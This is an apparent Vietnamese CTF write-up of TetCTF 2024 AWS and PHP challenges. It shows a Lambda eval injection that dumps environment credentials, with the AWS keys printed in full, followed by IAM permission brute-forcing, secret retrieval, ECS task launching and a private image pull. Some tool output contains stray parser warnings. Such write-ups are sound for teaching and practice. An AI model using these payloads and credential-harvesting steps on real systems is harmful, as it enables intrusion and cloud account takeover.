Đợt này nghỉ làm "bảo vệ" 1 thời gian. Định rằng 3 năm sắp tới sẽ là 3 năm timeskip để nâng trình độ mình lên, luyện các loại haki quan sát đ cần nhìn cũng ra bug, haki vũ trang dùng tay không viết payload phát ăn ngay, haki bá vương làm mấy thằng duplicate bất tỉnh đ nộp được report. Cơ mà sau khi warm-up với TetCTF thì thấy mình còn hơi đần…
Đây là một AWS challenge, cụ thể là API Gateway. Trước tiên chúng ta cần nhìn vào url. Để hiểu huk5xbypcc
hay execute-api
trong url là gì thì đọc ở đây.
Thử call api thì ra một số response như sau:
+ GET /
–> {"message":"Forbidden"}
. => không mần ăn gì được rồi.
+ GET /dev
–> {"message":"Missing Authentication Token"}
. => cần bypass authen?
+ GET /dev/vulnerable
–> "Hello from Lambda"
. => thì ra API Gateway này là dùng để chạy 1 hàm Lambda AWS?
+ GET /dev/vulnerable?vulnerable=%22<something>%22
–> {"message":"Evaluated User Input","result":"<something>"}
. => nếu response chỉ là "result":"<something>"
thì ai cũng nghĩ hàm Lambda này nhận 1 string trả về 1 string nào đó. Nhưng mà tự nhiên URL đề bài cho có dấu "
để đóng string lại kèm theo "message":"Evaluated User Input"
như nữa thì chắc kèo hàm Lambda này chính là hàm eval()
rồi. Nhưng mà eval()
của PHP, Python hay Javascript thì chỉ có Chúa và tác giả mới biết:
console.log('something')
như sau thì nó không in ra gì ở response?require('child_process').execSync('env').toString()
là payload cuối cùng trong bước exploit. Tại sao ở đoạn này lại là env
chứ không phải là cat /flag
như các bài web ctf thông thường? Bởi vì tôi đã mò hết con server này và không tìm thấy file nào tên flag hết. Mà đây là cloud challenge nên chắc không có chuyện RCE Lambda xong là hết phim đâu. Nếu con server này dùng để deploy lambda thì chắc chắn biến môi trường phải có gì đó vui vui… Đây rồi!GET /dev/vulnerable?vulnerable=require('child_process').execSync('env').toString() HTTP/2
Host: huk5xbypcc.execute-api.ap-southeast-2.amazonaws.com
Sec-Ch-Ua: "Chromium";v="121", "Not A(Brand";v="99"
Sec-Ch-Ua-Mobile: ?0
Sec-Ch-Ua-Platform: "Windows"
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.6167.85 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Sec-Fetch-Site: none
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Accept-Encoding: gzip, deflate, br
Accept-Language: en-US,en;q=0.9
Priority: u=0, i
HTTP/2 200 OK
Content-Type: application/json
Content-Length: 2491
Date: Sun, 28 Jan 2024 03:59:55 GMT
X-Amzn-Requestid: d3ebeee1-1ee9-40ed-82ba-5700d950549e
X-Amz-Apigw-Id: SO2hUGzZywMEoAA=
X-Amzn-Trace-Id: Root=1-65b5d13b-14afb127642643446fdc9d6b;Sampled=0;lineage=c3b1dc18:0
X-Cache: Miss from cloudfront
Via: 1.1 007499d01faac26a60f04831409d062e.cloudfront.net (CloudFront)
X-Amz-Cf-Pop: HEL50-C2
X-Amz-Cf-Id: cwUWI1oMsNW2GxYLmXNwXBrIhUziRL4oxhtFCSafmBIqxTCG_QAocg==
{"message":"Evaluated User Input","result":"AWS_LAMBDA_FUNCTION_VERSION=$LATEST\nAWS_SESSION_TOKEN=IQoJb3JpZ2luX2VjEBQaDmFwLXNvdXRoZWFzdC0yIkcwRQIhAJFWPlKXyBd7bZ8acOKYyHf0n0B/PJGVORbd/b+3vN3BAiBXxjjvmN/h+u2fAsPZGOFhCbr9cyEltczvqvWSigZNKCrFAwjN//////////8BEAMaDDU0MzMwMzM5Mzg1OSIMy+g4uPAb0wklApDrKpkDVqUFFa1fAOffsJSBpadnSnj60c6+TuW2L9B+/AVpy1UI4XuvD9ySLy+7rHU/xduuZb9h5M683TPVm0RpAkt/aMvMxohs4KpZ6Xbj7B1vlo9aDThQtfsJa8wxwumUBLL5Xzm/NfuuYIXQdCCT/emr/iyRmaeDOSHRxnxJgfOSGA6ZTLGr7OgqXepeiNW+KXqOY9MBYPL2ikTYlMR7ERyGzb+PWd0Vvts7xyrk1q9yvCpTb3C7V9TV58HJE4DM2GceAdJqZUWEln0zOVrvIjj7Izj9AH+APTIpP0+I6Vo3n7HxWEZVDn/qx/d1s9IClpw8VVwLjB36HwYyM5iPeEHAgxB0gkQe8HWdP8cnmAU29n3NPPO0GiCnl12KD5PrjGCyYRlBj6HUWC3u1z8MDCGEaLDkNpNQ86QWrra4oQpEIdEFbClPnHLRpXd3rVbZkgR48PaA+Jj9ndUWIM9EIKOW2KnKWWqpvDsD3Fv6wkhHOfCGmrzxTGkL07QpYrjtSBux2UNXb0U80uM5DQaYs/t8daWgmDRU+nQ1cDCgldetBjqeAa6JdqwKSlUjnTyaRgvfGCGzROYH62tYyTuNeUQqF2PuWB363mrsmbsYThIAH5/+PIPZAhCKSGMT4KKLESeXdA3bhRpFynqc0rU4Rz4zArmITSSSHhj8MKhTNJtRGlnuKvjhmaqRcjgKukGEQoS0BdVBPwLjcwoDnQ+1NJfDl3BRLBSJIZpUvTYFIMYsxrY35tdS/gfWu76BWtx/Ndjm\nAWS_LAMBDA_LOG_GROUP_NAME=/aws/lambda/TetCtfStack-VulnerableLambdaAA73A104-aSkHuTfgUzPR\nLD_LIBRARY_PATH=/var/lang/lib:/lib64:/usr/lib64:/var/runtime:/var/runtime/lib:/var/task:/var/task/lib:/opt/lib\nLAMBDA_TASK_ROOT=/var/task\nAWS_LAMBDA_RUNTIME_API=127.0.0.1:9001\nAWS_LAMBDA_LOG_STREAM_NAME=2024/01/28/[$LATEST]87e57aea97904bd289b7515d2cfed36c\nAWS_EXECUTION_ENV=AWS_Lambda_nodejs18.x\nAWS_LAMBDA_FUNCTION_NAME=TetCtfStack-VulnerableLambdaAA73A104-aSkHuTfgUzPR\nAWS_XRAY_DAEMON_ADDRESS=169.254.79.129:2000\nPATH=/var/lang/bin:/usr/local/bin:/usr/bin/:/bin:/opt/bin\nAWS_DEFAULT_REGION=ap-southeast-2\nPWD=/var/task\nAWS_SECRET_ACCESS_KEY=CglddOltFCnUkY4HHZ1pFPZZzdCb8N1RBsWgnHa4\nLANG=en_US.UTF-8\nLAMBDA_RUNTIME_DIR=/var/runtime\nAWS_LAMBDA_INITIALIZATION_TYPE=on-demand\nAWS_REGION=ap-southeast-2\nTZ=:UTC\nNODE_PATH=/opt/nodejs/node18/node_modules:/opt/nodejs/node_modules:/var/runtime/node_modules:/var/runtime:/var/task\nENV_ACCESS_KEY=AKIAX473H4JB76WRTYPI\nAWS_ACCESS_KEY_ID=ASIAX473H4JBYTXKIPRS\nENV_SECRET_ACCESS_KEY=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\nSHLVL=1\n_AWS_XRAY_DAEMON_ADDRESS=169.254.79.129\n_AWS_XRAY_DAEMON_PORT=2000\n_X_AMZN_TRACE_ID=Root=1-65b5d13b-14afb127642643446fdc9d6b;Parent=06efca42126ae91e;Sampled=0;Lineage=c3b1dc18:0\nAWS_XRAY_CONTEXT_MISSING=LOG_ERROR\n_HANDLER=index.handler\nAWS_LAMBDA_FUNCTION_MEMORY_SIZE=128\nNODE_EXTRA_CA_CERTS=/var/runtime/ca-cert.pem\n_=/usr/bin/env\n"}
AWS_ACCESS_KEY_ID
, AWS_SECRET_ACCESS_KEY
và AWS_SESSION_TOKEN
, tạm gọi là tập 1, 2 là một tập credentials "bí ẩn" (vì search trên google không có cái biến môi trường nào như này khi dùng AWS) với ENV_ACCESS_KEY
và ENV_SECRET_ACCESS_KEY
, tạm gọi là tập 2.aws configure
rồi check identity:Arn
thì đây là credentials tạm thời có execution role chỉ dùng để chạy lambda function thôi. Test thử một số service thì toàn báo ... is not authorized
hết nên chắc kèo bỏ tập 1 sang tập 2 thôi. Tạo profile cho IAM user với AWS_ACCESS_KEY_ID=ENV_ACCESS_KEY
và AWS_SECRET_ACCESS_KEY=ENV_SECRET_ACCESS_KEY
.┌──(kali㉿kali)-[~/Downloads/bf-aws-permissions]
└─$ bash bf-aws-permissions.sh -p secret -r ap-southeast-2
bf-aws-permissions.sh: line 113: jq: command not found
Entity Type: user
Entity Name:
Attached Policies
bf-aws-permissions.sh: line 121: jq: command not found
Parameter validation failed:
Invalid length for parameter UserName, value: 0, valid min length: 1
=====================
Inline Policies
bf-aws-permissions.sh: line 145: jq: command not found
Parameter validation failed:
Invalid length for parameter UserName, value: 0, valid min length: 1
=====================
bf-aws-permissions.sh: line 165: jq: command not found
Parameter validation failed:
Invalid length for parameter UserName, value: 0, valid min length: 1
Groups
Checking for simulate permissions...
Current arn: arn:aws:iam::543303393859:user/secret-user
An error occurred (AccessDenied) when calling the SimulatePrincipalPolicy operation: User: arn:aws:iam::543303393859:user/secret-user is not authorized to perform: iam:SimulatePrincipalPolicy on resource: arn:aws:iam::543303393859:user/secret-user because no identity-based policy allows the iam:SimulatePrincipalPolicy action
You don't have simulate permissions!
Do you want to continue with brute-forcing? (y/N): Y
[+] You have permissions for: configure list (aws --profile secret --region ap-southeast-2 configure list )
[+] You have permissions for: configure list-profiles (aws --profile secret --region ap-southeast-2 configure list-profiles )
[+] You have permissions for: dynamodb describe-endpoints (aws --profile secret --region ap-southeast-2 dynamodb describe-endpoints )
[+] You have permissions for: elasticbeanstalk describe-application-versions (aws --profile secret --region ap-southeast-2 elasticbeanstalk describe-application-versions )
[+] You have permissions for: elasticbeanstalk describe-applications (aws --profile secret --region ap-southeast-2 elasticbeanstalk describe-applications )
[+] You have permissions for: elasticbeanstalk describe-environments (aws --profile secret --region ap-southeast-2 elasticbeanstalk describe-environments )
[+] You have permissions for: elasticbeanstalk describe-events (aws --profile secret --region ap-southeast-2 elasticbeanstalk describe-events )
[+] You have permissions for: elasticbeanstalk list-available-solution-stacks (aws --profile secret --region ap-southeast-2 elasticbeanstalk list-available-solution-stacks )
[+] You have permissions for: elasticbeanstalk list-platform-versions (aws --profile secret --region ap-southeast-2 elasticbeanstalk list-platform-versions )
[+] You have permissions for: iam get-account-password-policy (aws --profile secret --region ap-southeast-2 iam get-account-password-policy )
<string>:43: (WARNING/2) Inline literal start-string without end-string.
<string>:45: (WARNING/2) Inline literal start-string without end-string.
<string>:47: (WARNING/2) Inline literal start-string without end-string.
[+] You have permissions for: kinesis-video-archived-media get-dash-streaming-session-url (aws --profile secret --region ap-southeast-2 kinesis-video-archived-media get-dash-streaming-session-url )
[+] You have permissions for: kinesis-video-archived-media get-hls-streaming-session-url (aws --profile secret --region ap-southeast-2 kinesis-video-archived-media get-hls-streaming-session-url )
[+] You have permissions for: kinesis-video-archived-media list-fragments (aws --profile secret --region ap-southeast-2 kinesis-video-archived-media list-fragments )
[+] You have permissions for: kinesis-video-signaling get-ice-server-config (aws --profile secret --region ap-southeast-2 kinesis-video-signaling get-ice-server-config --channel-arn OrganizationAccountAccessRole)
<string>:18: (WARNING/2) Inline interpreted text or phrase reference start-string without end-string.ment-list --fragments OrganizationAccountAccessRole outfile OrganizationAccountAccessRo
<string>:: (ERROR/3) Anonymous hyperlink mismatch: 1 references but 0 targets.n-revision --configuration-id OrganizationAccountAccessRole --configuration-revision OrganizationAccountAccess
See "backrefs" attribute for IDs.
[+] You have permissions for: route53 get-checker-ip-ranges (aws --profile secret --region ap-southeast-2 route53 get-checker-ip-ranges )
[+] You have permissions for: route53 get-geo-location (aws --profile secret --region ap-southeast-2 route53 get-geo-location )
[+] You have permissions for: route53 list-geo-locations (aws --profile secret --region ap-southeast-2 route53 list-geo-locations )
[+] You have permissions for: secretsmanager list-secrets (aws --profile secret --region ap-southeast-2 secretsmanager list-secrets )
^C
┌──(kali㉿kali)-[~]
└─$ aws --profile secret --region ap-southeast-2 secretsmanager list-secrets
{
"SecretList": [
{
"ARN": "arn:aws:secretsmanager:ap-southeast-2:543303393859:secret:prod/TetCTF/Flag-gnvT27",
"Name": "prod/TetCTF/Flag",
"LastChangedDate": "2024-01-24T22:57:26.205000-05:00",
"LastAccessedDate": "2024-01-27T19:00:00-05:00",
"Tags": [],
"SecretVersionsToStages": {
"44e68972-c191-4bc8-acc8-d0ba3a29cea6": [
"AWSCURRENT"
]
},
"CreatedDate": "2024-01-24T22:57:25.933000-05:00"
}
]
}
┌──(kali㉿kali)-[~]
└─$ aws --profile secret --region ap-southeast-2 secretsmanager get-secret-value --secret-id "prod/TetCTF/Flag"
{
"ARN": "arn:aws:secretsmanager:ap-southeast-2:543303393859:secret:prod/TetCTF/Flag-gnvT27",
"Name": "prod/TetCTF/Flag",
"VersionId": "44e68972-c191-4bc8-acc8-d0ba3a29cea6",
"SecretString": "{\"Flag\":\"TetCTF{B0unTy_$$$-50_for_B3ginNeR_2a3287f970cd8837b91f4f7472c5541a}\"}",
"VersionStages": [
"AWSCURRENT"
],
"CreatedDate": "2024-01-24T22:57:26.202000-05:00"
}
TetCTF{B0unTy_$$$-50_for_B3ginNeR_2a3287f970cd8837b91f4f7472c5541a}
.Target: Role - arn:aws:iam::543303393859:role/TetCtf2Stack-EcsTaskRole8DFA0181-qubavXABtWiL
Source: An AWS Account is a must.
arn:aws:iam::543303393859:role/TetCtf2Stack-EcsTaskRole8DFA0181-qubavXABtWiL
mà tác giả đã cho. Vì AWS cấm tạo tài khoản AWS bằng số điện thoại Nga nên tôi thó luôn thằng IAM secret-user
ở challenge Hello from API GW (1000).TetCtf2Stack-EcsTaskRole8DFA0181-qubavXABtWiL
có những IAM policies gì.C:\Users\antoinenguyen>aws iam list-role-policies --role-name TetCtf2Stack-EcsTaskRole8DFA0181-qubavXABtWiL
{
"PolicyNames": [
"EcsTaskRoleDefaultPolicy50882C77"
]
}
EcsTaskRoleDefaultPolicy50882C77
có gì.C:\Users\antoinenguyen>aws iam get-role-policy --role-name TetCtf2Stack-EcsTaskRole8DFA0181-qubavXABtWiL --policy-name EcsTaskRoleDefaultPolicy50882C77
{
"RoleName": "TetCtf2Stack-EcsTaskRole8DFA0181-qubavXABtWiL",
"PolicyName": "EcsTaskRoleDefaultPolicy50882C77",
"PolicyDocument": {
"Version": "2012-10-17",
"Statement": [
{
"Action": "ecs:RunTask",
"Resource": "arn:aws:ecs:eu-west-2:543303393859:task-definition/TetCtf2StackCtfTaskDefB40F186A:3",
"Effect": "Allow"
},
{
"Action": [
"iam:ListRolePolicies",
"iam:GetRolePolicy",
"ecs:ListClusters",
"ec2:DescribeSecurityGroups",
"ec2:DescribeSubnets"
],
"Resource": "*",
"Effect": "Allow"
},
{
"Effect": "Allow",
"Action": "iam:PassRole",
"Resource": [
"arn:aws:iam::543303393859:role/TetCtf2Stack-EcsExecutionRoleFD93B7A2-O8bY2QagMK25",
"arn:aws:iam::543303393859:role/TetCtf2Stack-CtfTaskDefTaskRoleD17F896A-vJxGKfIFhChH"
]
},
{
"Sid": "Statement1",
"Effect": "Allow",
"Action": [
"logs:GetLogEvents",
"logs:DescribeLogStreams",
"logs:DescribeLogGroups"
],
"Resource": [
"arn:aws:logs:eu-west-2:543303393859:*"
]
}
]
}
}
Từ nội dung của policy EcsTaskRoleDefaultPolicy50882C77
ta biết được role TetCtf2Stack-EcsTaskRole8DFA0181-qubavXABtWiL
có những quyền sau:
+ Quyền ecs:RunTask cho phép ta thực thi một ECS Task dựa trên ecs task definition có arn là arn:aws:ecs:eu-west-2:543303393859:task-definition/TetCtf2StackCtfTaskDefB40F186A:3
.
+ Quyền iam:ListRolePolicies, iam:GetRolePolicy (nhờ vậy mà lúc này ta mới dùng được lệnh aws iam list-role-policies
và aws iam get-role-policy
) và ecs:ListClusters, ec2:DescribeSecurityGroups, ec2:DescribeSubnets lên bất cứ resource nào. Nghĩa là ta có thể enumerate ECS và EC2 khá thoải mái.
+ Quyền iam:PassRole lên 2 IAM role có arn là arn:aws:iam::543303393859:role/TetCtf2Stack-EcsExecutionRoleFD93B7A2-O8bY2QagMK25
và arn:aws:iam::543303393859:role/TetCtf2Stack-CtfTaskDefTaskRoleD17F896A-vJxGKfIFhChH
.
+ Quyền logs:GetLogEvents, logs:DescribeLogStreams, logs:DescribeLogGroups cho phép xem bất cứ cloudwatch log nào của IAM user 543303393859
mà ta đang dùng (arn:aws:logs:eu-west-2:543303393859:*
).
Để ý tất cả các arn trong policy đều có region là eu-west-2
nên ta cần aws configure
, sửa lại Default region name thành eu-west-2
rồi mới enumrerate ECS và EC2.
┌──(kali㉿kali)-[~]
└─$ aws ecs list-clusters --profile micro
{
"clusterArns": [
"arn:aws:ecs:eu-west-2:543303393859:cluster/CtfEcsCluster"
]
}
┌──(kali㉿kali)-[~]
└─$ aws ec2 describe-security-groups --profile micro
<read output here: https://pastebin.com/Kurz5BxM>
┌──(kali㉿kali)-[~]
└─$ aws ec2 describe-subnets --profile micro
<read output here: https://pastebin.com/yM2XUxZS>
{
"Description": "GET FLAG",
"GroupName": "TetCTF-GETFLAG",
"IpPermissions": [],
"OwnerId": "543303393859",
"GroupId": "sg-0636ad23bae6f21e7",
"IpPermissionsEgress": [
{
"IpProtocol": "-1",
"IpRanges": [
{
"CidrIp": "0.0.0.0/0"
}
],
"Ipv6Ranges": [],
"PrefixListIds": [],
"UserIdGroupPairs": []
}
],
"VpcId": "vpc-07e8cd02a7c992f43"
}
TetCTF-GETFLAG
là của VPC có id vpc-07e8cd02a7c992f43
. Search trong output của lệnh describe-subnets
ta thấy VPC này có 4 subnet: subnet-05dc4f12caf437c48
, subnet-086c45729adc1af7a
, subnet-0b5d1c35a972b4d25
, subnet-06297de9c4d3bcad4
.arn:aws:ecs:eu-west-2:543303393859:task-definition/TetCtf2StackCtfTaskDefB40F186A:3
cần những parameter gì nhưng theo document thì --task-definition
bắt buộc phải có:┌──(kali㉿kali)-[~]
└─$ aws ecs run-task --task-definition "arn:aws:ecs:eu-west-2:543303393859:task-definition/TetCtf2StackCtfTaskDefB40F186A:3" --profile micro
An error occurred (ClusterNotFoundException) when calling the RunTask operation: Cluster not found.
aws ecs list-clusters
ta chỉ thấy có 1 cluster duy nhất là CtfEcsCluster
:┌──(kali㉿kali)-[~]
└─$ aws ecs run-task --task-definition "arn:aws:ecs:eu-west-2:543303393859:task-definition/TetCtf2StackCtfTaskDefB40F186A:3" --cluster "CtfEcsCluster" --profile micro
An error occurred (InvalidParameterException) when calling the RunTask operation: Network Configuration must be provided when networkMode 'awsvpc' is specified.
--network-configuration
có syntax trông như này:{
"awsvpcConfiguration": {
"subnets": ["string", ...],
"securityGroups": ["string", ...],
"assignPublicIp": "ENABLED"|"DISABLED"
}
}
subnet-06297de9c4d3bcad4
(1 trong 4 subnet, chọn cái nào cũng được) và securityGroups TetCTF-GETFLAG
. Chỉ còn lại assignPublicIp
là tôi không biết chọn ENABLED
hay DISABLED
?┌──(kali㉿kali)-[~]
└─$ aws ecs run-task --task-definition "arn:aws:ecs:eu-west-2:543303393859:task-definition/TetCtf2StackCtfTaskDefB40F186A:3" --cluster "CtfEcsCluster" --network-configuration '{"awsvpcConfiguration":{"subnets":["subnet-06297de9c4d3bcad4"],"securityGroups":["sg-0636ad23bae6f21e7"],"assignPublicIp":"DISABLED"}}' --profile micro
An error occurred (InvalidParameterException) when calling the RunTask operation: No Container Instances were found in your cluster.
┌──(kali㉿kali)-[~]
└─$ aws ecs run-task --task-definition "arn:aws:ecs:eu-west-2:543303393859:task-definition/TetCtf2StackCtfTaskDefB40F186A:3" --cluster "CtfEcsCluster" --network-configuration '{"awsvpcConfiguration":{"subnets":["subnet-06297de9c4d3bcad4"],"securityGroups":["sg-0636ad23bae6f21e7"],"assignPublicIp":"ENABLED"}}' --profile micro
An error occurred (InvalidParameterException) when calling the RunTask operation: Assign public IP is not supported for this launch type.
arn:aws:iam::543303393859:role/TetCtf2Stack-EcsExecutionRoleFD93B7A2-O8bY2QagMK25
và arn:aws:iam::543303393859:role/TetCtf2Stack-CtfTaskDefTaskRoleD17F896A-vJxGKfIFhChH
. Có khi manh mối nằm trong policy của 2 cái IAM role này.┌──(kali㉿kali)-[~]
└─$ aws iam list-role-policies --role-name "TetCtf2Stack-EcsExecutionRoleFD93B7A2-O8bY2QagMK25" --profile micro
{
"PolicyNames": [
"EcsExecutionRoleDefaultPolicy9114F99B"
]
}
┌──(kali㉿kali)-[~]
└─$ aws iam get-role-policy --role-name "TetCtf2Stack-EcsExecutionRoleFD93B7A2-O8bY2QagMK25" --policy-name "EcsExecutionRoleDefaultPolicy9114F99B" --profile micro
{
"RoleName": "TetCtf2Stack-EcsExecutionRoleFD93B7A2-O8bY2QagMK25",
"PolicyName": "EcsExecutionRoleDefaultPolicy9114F99B",
"PolicyDocument": {
"Version": "2012-10-17",
"Statement": [
{
"Action": [
"ecr:BatchCheckLayerAvailability",
"ecr:BatchGetImage",
"ecr:GetAuthorizationToken",
"ecr:GetDownloadUrlForLayer",
"logs:CreateLogStream",
"logs:PutLogEvents"
],
"Resource": "*",
"Effect": "Allow"
},
{
"Action": [
"logs:CreateLogStream",
"logs:PutLogEvents"
],
"Resource": "arn:aws:logs:eu-west-2:543303393859:log-group:/ecs/tet-ctf:*",
"Effect": "Allow"
}
]
}
}
┌──(kali㉿kali)-[~]
└─$ aws iam list-role-policies --role-name "TetCtf2Stack-CtfTaskDefTaskRoleD17F896A-vJxGKfIFhChH" --profile micro
{
"PolicyNames": []
}
Từ nội dung của policy EcsExecutionRoleDefaultPolicy9114F99B
ta biết được những điều sau:
+ Các quyền để pull bất cứ image nào từ container registry kể cả ở trong các private repository như ecr:BatchGetImage
, ecr:GetAuthorizationToken
, ecr:GetDownloadUrlForLayer
,
+ Mặc dù các quyền như logs:CreateLogStream
, logs:PutLogEvents
có vẻ như vô dụng nhưng ta lại biết được trong CloudWatch có 1 log group là arn:aws:logs:eu-west-2:543303393859:log-group:/ecs/tet-ctf:*
. Kết hợp với quyền logs:DescribeLogStreams
đã đề cập trước đó cho phép ta đọc tất cả các log của user 543303393859
thì việc đọc log group này dễ như trở bàn tay.
Dù tôi có thể pull bất cứ image nào nhưng mà image đó tên là gì thì … không biết! Đọc lại sample output của lệnh aws ecs run-task
thì giật mình ngang…
aws ecs run-task
ta sẽ biết được image nào trong registry được sử dụng để tạo container. Theo hình dung của tôi thì infrastructe của hệ thống cloud trong challenge này sẽ gần giống như hình dưới nhưng có thêm cloudwatch để ghi log hoạt động của container.Trong đó ECS Cluster chính là CtfEcsCluster
ta đã biết đặt trong vpc-07e8cd02a7c992f43
. Trong docker để tạo được container thì trước tiên phải pull image đã. Mà để pull được image thì CtfEcsCluster
phải có public ip. Vậy assignPublicIp=ENABLED
!
Còn nữa, log group arn:aws:logs:eu-west-2:543303393859:log-group:/ecs/tet-ctf:*
có vai trò gì trong việc run task không? Có khi nào nó sẽ ghi lại kết quả của TetCtf2StackCtfTaskDefB40F186A:3
?
arn:aws:ecs:eu-west-2:543303393859:task-definition/TetCtf2StackCtfTaskDefB40F186A:3
trước đã rồi tính.┌──(kali㉿kali)-[~]
└─$ aws ecs run-task --task-definition "arn:aws:ecs:eu-west-2:543303393859:task-definition/TetCtf2StackCtfTaskDefB40F186A:3" /
--cluster CtfEcsCluster /
--network-configuration '{"awsvpcConfiguration":{"subnets":["subnet-06297de9c4d3bcad4"],"securityGroups":["sg-0636ad23bae6f21e7"],"assignPublicIp":"ENABLED"}}' /
--launch-type FARGATE --profile micro
<read full output here: https://pastebin.com/VczyhptG>
...
"containers": [
{
"containerArn": "arn:aws:ecs:eu-west-2:543303393859:container/CtfEcsCluster/91e0d247ab044bd1823d8eeb1548e204/3d4b8560-fac9-42cb-a35e-1fc4eb88089a",
"taskArn": "arn:aws:ecs:eu-west-2:543303393859:task/CtfEcsCluster/91e0d247ab044bd1823d8eeb1548e204",
"name": "CtfContainer",
"image": "543303393859.dkr.ecr.eu-west-2.amazonaws.com/tet-ctf:flag",
"lastStatus": "PENDING",
"networkInterfaces": [],
"cpu": "0"
}
]
arn:aws:logs:eu-west-2:543303393859:log-group:/ecs/tet-ctf:*
không?┌──(kali㉿kali)-[~]
└─$ aws logs describe-log-streams --log-group-name /ecs/tet-ctf --profile micro
{
"logStreams": [
{
"logStreamName": "CtfContainer/CtfContainer/8bf5932232ac47908114159dfac0b23c",
"creationTime": 1706915324827,
"firstEventTimestamp": 1706915329640,
"lastEventTimestamp": 1706915329640,
"lastIngestionTime": 1706915334631,
"uploadSequenceToken": "49039859576588092693570240962185597029341672077744578231",
"arn": "arn:aws:logs:eu-west-2:543303393859:log-group:/ecs/tet-ctf:log-stream:CtfContainer/CtfContainer/8bf5932232ac47908114159dfac0b23c",
"storedBytes": 0
}
]
}
┌──(kali㉿kali)-[~]
└─$ aws logs get-log-events --log-group-name /ecs/tet-ctf --log-stream-name "CtfContainer/CtfContainer/8bf5932232ac47908114159dfac0b23c" --profile micro
{
"events": [
{
"timestamp": 1706915329640,
"message": "$AKIAX473H4JB5FPBCMGX$ieLKiXVvNsZu3vfTEl9N6WDl2UKTnEJx2ZvTiN/E",
"ingestionTime": 1706915334631
}
],
"nextForwardToken": "f/38065483841767545845332586951123638684732042983307542528/s",
"nextBackwardToken": "b/38065483841767545845332586951123638684732042983307542528/s"
}
"message": "$AKIAX473H4JB5FPBCMGX$ieLKiXVvNsZu3vfTEl9N6WDl2UKTnEJx2ZvTiN/E"
. Trông AKIA...
thế kia có vẻ là một credentials của 1 IAM user nào đó ms được challenge tạo ra, tất nhiên là một credentials vĩnh viễn (creds tạm thời nó sẽ bắt đầu bằng ASIA...
). Access key id và Secret access key được ngăn cách bởi dấu $
. Dùng thử credentials này xem sao.arn:aws:ecs:eu-west-2:543303393859:task-definition/TetCtf2StackCtfTaskDefB40F186A:3
tôi phát hiện ra có cái này: "image": "543303393859.dkr.ecr.eu-west-2.amazonaws.com/tet-ctf:flag"
. Chắc chắn image này có flag bên trong rồi, pull về thôi.543303393859.dkr.ecr.eu-west-2.amazonaws.com/tet-ctf:flag
có lẽ nằm trong private repository nên ta sẽ tận dụng quyền ecr:GetAuthorizationToken
để lấy password để login docker.┌──(kali㉿kali)-[~]
└─$ aws ecr get-login-password --profile ecs-tetctf | sudo docker login --username AWS --password-stdin 543303393859.dkr.ecr.eu-west-2.amazonaws.com
[sudo] password for kali:
WARNING! Your password will be stored unencrypted in /root/.docker/config.json.
Configure a credential helper to remove this warning. See
https://docs.docker.com/engine/reference/commandline/login/#credentials-store
Login Succeeded
┌──(kali㉿kali)-[~]
└─$ sudo docker pull 543303393859.dkr.ecr.eu-west-2.amazonaws.com/tet-ctf:flag
flag: Pulling from tet-ctf
1b13d4e1a46e: Pull complete
d881e3386c95: Pull complete
68b1d103a673: Pull complete
d5dc8046607d: Pull complete
f3278ee745dc: Pull complete
Digest: sha256:539f1f7d0be4d07ed32f72fe91bee230da855973b0d1a2c9454bca568b114556
Status: Downloaded newer image for 543303393859.dkr.ecr.eu-west-2.amazonaws.com/tet-ctf:flag
543303393859.dkr.ecr.eu-west-2.amazonaws.com/tet-ctf:flag
┌──(kali㉿kali)-[~]
└─$ sudo docker history --no-trunc 543303393859.dkr.ecr.eu-west-2.amazonaws.com/tet-ctf:flag
IMAGE CREATED CREATED BY SIZE COMMENT
sha256:377032e1eaab77980610cd9e65932d46e0db68d65f12bbe1b2c9dd4ba46e0e68 7 days ago CMD ["python3" "test.py"] 0B buildkit.dockerfile.v0
<missing> 7 days ago COPY TetCTF{M4sS-Sc4n_c56003d9ff654a835d0e2b3fa403f2ae} TetCTF{M4sS-Sc4n_c56003d9ff654a835d0e2b3fa403f2ae} # buildkit 0B buildkit.dockerfile.v0
<missing> 7 days ago COPY test.py test.py # buildkit 72B buildkit.dockerfile.v0
<missing> 7 days ago RUN /bin/sh -c apt-get install python3 -y # buildkit 49.1MB buildkit.dockerfile.v0
<missing> 7 days ago RUN /bin/sh -c apt-get update -y # buildkit 19.4MB buildkit.dockerfile.v0
<missing> 3 weeks ago /bin/sh -c #(nop) CMD ["bash"] 0B
<missing> 3 weeks ago /bin/sh -c #(nop) ADD file:077a3156bd8271f26498ae6ac3800e68a42b9277581bc81eea31fec1a123dca5 in / 117MB
TetCTF{M4sS-Sc4n_c56003d9ff654a835d0e2b3fa403f2ae}
.TetCtf2StackCtfTaskDefB40F186A:3
rồi để khoảng 1 phút thì log "bay màu"? Tôi thậm chí còn làm 1 thí nghiệm nho nhỏ ở đây để xác minh log "bay màu" là tin chuẩn. Lí do là vì ông tác giả thích thế…Target: http://192.53.173.71:8080
Source: https://drive.google.com/file/d/1UKPkz8Sn0Ucv1ZhN0NRi8bk_dspBeEJJ/view?usp=sharing
function validateInput($input) {
// To make your shout effective, it shouldn't contain alphabets or numbers.
$pattern = '/[a-z0-9]/i';
if (preg_match($pattern, $input)) {
return false;
}
// and only a few characters. Let's make your shout clean.
$count = count(array_count_values(str_split($input)));
if ($count > 7) {
return false;
}
return true;
}
if (isset($_GET["shout"]) && !empty($_GET["shout"]) && is_string($_GET["shout"])) {
$voice = $_GET["shout"];
$res = "<center><br><br><img src=\"https://i.imgur.com/SvbbT0W.png\" width=5% /> WRONGGGGG WAYYYYYY TOOOO RELEASEEEEE STRESSSSSSSS!!!!!!</center>";
if(validateInput($voice) === true) {
eval("\$res='<center><br><br><img src=\"https://i.imgur.com/TL6siVW.png\" width=5% /> ".$voice.".</center>';");
}
if (strlen($res) < 300) {
echo $res;
} else {
echo "<center>Too loud!!! Please respect your neighbor.</center>";
}
}
Source code đã cho khá rõ ràng, dễ đọc, lại còn có cả comment code đầy đủ chi tiết nên tôi chỉ tóm gọn lại các ý chính như sau:
+ Tại dòng 21, biến $voice
là một user input được truyền vào hàm eval, ghi đè lên biến $res
đã được khởi tạo từ trước ở dòng 19.
+ Tuy nhiên, để dòng 21 chạy được thì $voice
